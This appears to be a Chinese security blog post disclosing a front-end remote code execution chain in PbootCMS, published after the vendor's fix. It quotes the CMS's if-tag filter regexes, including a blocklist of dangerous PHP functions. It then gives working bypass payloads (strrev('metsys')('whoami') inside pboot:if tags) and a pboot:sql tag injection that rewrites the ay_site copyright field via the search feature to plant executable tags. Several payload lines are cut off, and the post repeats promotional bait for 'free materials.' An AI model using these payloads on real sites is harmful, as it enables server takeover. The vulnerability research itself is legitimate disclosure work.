前言本文记录了针对前台RCE的挖掘过程,由于该CMS前几天才做了修复,所以将挖掘过程写出来
接着直接来看代码,首先目标仍然是解析if标签的代码块,看一下三个正则
/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}//([\w]+)([\x00-\x1F\x7F\/\*\<\>\%\w\s\\\\]+)?\(/i/(\([\w\s\.]+\))|(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i没有耐心看完的看这里:
我是一名网络安全工作者,喜欢安全,热爱安全,另外我整理了一些渗透测试、学习视频300PDF等供大家学习(文中只是一部分),感兴趣的可以保存下来阅读
需要300PDF的网络安全资料请关注我:私信回复“资料”获取更多网络安全面试资料、源码、笔记、视频架构技术
相对于上一个版本来说,第三条正则多了(([\w\s.]+))如图
这里猜想开发者是想禁止if标签中条件代码段中的小括号存在内容,但是经过测试xxx(“xxx”)这样的形式可以无视正则并不影响我们的代码执行,现在假如我们可以直接编辑模版,以执行system函数为目标,来研究一下如何执行代码;
为了绕过system的正则校验,可以使用如下方式绕过
strrev('metsys')('whoami');那么很容易想到使用如下payload测试
{pboot:if(1) strrev('metsys')('whoami');//)}y7m01i{/pboot:if}测试之后会发现并不能执行,因为无法绕过第二条正则,我们可以通过简单的输出来打印下程序在进行安全校验的情况
可以看到在这里较验到了strrev是一个已定义的函数,所以语句被拦截,接着我们来尝试在strrev前面加上一些字符查看一下情况
{pboot:if(1) xxx strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
可以看到出现了eval执行错误的信息,这说明我们成功绕过了校验,eval执行了我们输入的内容,只不过当前内容执行时报出了错误,那么接下来的目标就很明确了,我们需要寻找一个可以代替xxx的内容,使eval执行不会报错;经过搜索我发现了这样一条内容
简单来测试一下
果然符合我们的要求,尝试如下payload
{pboot:if(1) echo strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
成功执行了system函数,后来经过思考和测试,其实使用注释也是可以的,如下
{pboot:if(1) /*y*/ strrev('metsys')('whoami');//)}y7m01i{/pboot:if}但是光是这样执行命令是不够的,我们需要寻找到一处用户可控的点来解析if标签,在上面的参考文章中我们易得在前台搜索功能处可以解析我们输入的if标签,并且对于pboot@if的替换可以使用
这样的形式绕过,但是在该版本中移除了decode_string函数,在标签解析时单双引号是编码过的,无法正常解析,然而从前面的分析知道我们目前的利用方式需要使用但双引号来绕过第二个正则的校验,所以目前为止在前台搜索处我们暂时是无法利用的,所以我们需要寻找一下是否存在其他的利用方式,与我们目前所掌握的条件配合来进行利用。
在翻看cms更新日志的时候我发现了这样一条描述
程序新增加了解析sql的标签,这就意味着我们可能在前台利用搜索功能,执行我们想要的sql语句,这时一条利用链初步浮现在我的脑海里;我们知道在以前的版本中可以使用在后台配置处插入我们的标签语句,最终语句是存储在数据库中的,假如我们可以利用前台搜索功能执行sql语句,将标签插入到数据库中,就可以跨过后台配置功能直接RCE,那么目前我们面临着两个问题需要弄清楚;
1.标签该写在哪张表的那个字段
2.前台搜索功能处如何能执行我们的sql语句
首先第一个问题很好解决,在之前的版本中我们是在站点信息的尾部信息处来写入标签,对应的是ay_site表中的copyright字段,那么我们写入标签的语句初步为
update ay_site set copyright= (标签的16进制,避免引号) where id = 1;接着我们查看一下解析sql标签的代码
// 解析自定义SQL循环 public function parserSqlListLabel($content) { $pattern = '/\{pboot:sql(\s+[^}]+)?\}([\s\S]*?)\{\/pboot:sql\}/'; $pattern2 = '/\[sql:([\w]+)(\s+[^]]+)?\]/'; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { // 获取调节参数 $params = $this->parserParam($matches[1][$i]); if (! self::checkLabelLevel($params)) { $content = str_replace($matches[0][$i], '', $content); continue; } $num = 1000; // 最大读取1000条 $sql = ''; foreach ($params as $key => $value) { switch ($key) { case 'num': $num = $value; break; case 'sql': $sql = $value; break; } } // 特殊表不允许输出 if (preg_match('/ay_user|ay_member/i', $sql)) { $content = str_replace($matches[0][$i], '', $content); continue; } // 判断是否有条数限制 if ($num && ! preg_match('/limit/i', $sql)) { $sql .= " limit " . $num; } // 读取数据 if (! $data = $this->model->all($sql)) { $content = str_replace($matches[0][$i], '', $content); continue; } // 匹配到内部标签 if (preg_match_all($pattern2, $matches[2][$i], $matches2)) { $count2 = count($matches2[0]); // 循环内的内容标签数量 } else { $count2 = 0; } $out_html = ''; $pagenum = defined('PAGE') ? PAGE : 1; $key = ($pagenum - 1) * $num + 1; foreach ($data as $value) { // 按查询数据条数循环 $one_html = $matches[2][$i]; for ($j = 0; $j < $count2; $j ++) { // 循环替换数据 $params = $this->parserParam($matches2[2][$j]); switch ($matches2[1][$j]) { case 'n': $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html); break; case 'i': $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html); break; default: if (isset($value->{$matches2[1][$j]})) { $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html); } } } $key ++; $out_html .= $one_html; } $content = str_replace($matches[0][$i], $out_html, $content); } } return $content; }其中有一处安全过滤
sql语句不允许对ay_user与ay_member两个表进行操作,但是不影响我们写标签到数据库;接着看该段代码,其中的重点在this−>parserParam(this->parserParam(this−>parserParam(matches[1][$i]);,
跟进该方法
我们打印一下解析后的内容,使用如下标签来测试
{pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1;#}11{/pboot:sql}
语句没有被正确的解析出来,仔细查看源码应该是被分割语句的正则匹配到了,尝试将空格替换成注释
{pboot:sql sql=update/**/ay_site/**/set/**/copyright=/**/0x68656c6c6f/**/where/**/id/**/=/**/1;#}11{/pboot:s
成功解析到我们想要的语句,去前台执行一下
数据库中内容成功进行了更新,把hello换成我们的标签语句
{pboot:sql sql=update//ay_site//set//copyright=//0x67b70626f6f747b757365723a70617373776f72647d3a6966283129656368
接着访问首页
总结造成该漏洞的主要原因还是因为程序增加了新的功能点,并且功能点没有进行完整的安全防御,导致可以在前台直接执行sql语句,进而将可执行的标签写入数据库,在前台解析执行命令;这也提醒我们在平时挖掘漏洞的时候可以多注意一些新添加的功能,同时充分了解过往存在的漏洞,打出组合拳往往有出其不意的效果
我是一名网络安全工作者,喜欢安全,热爱安全,另外我整理了一些渗透测试、学习视频300PDF等供大家学习(以上只是一部分),感兴趣的可以保存下来阅读
需要300PDF的网络安全资料请关注我:私信回复“资料”获取更多网络安全面试资料、源码、笔记、视频架构技术
最后,感谢您的关注和阅读!!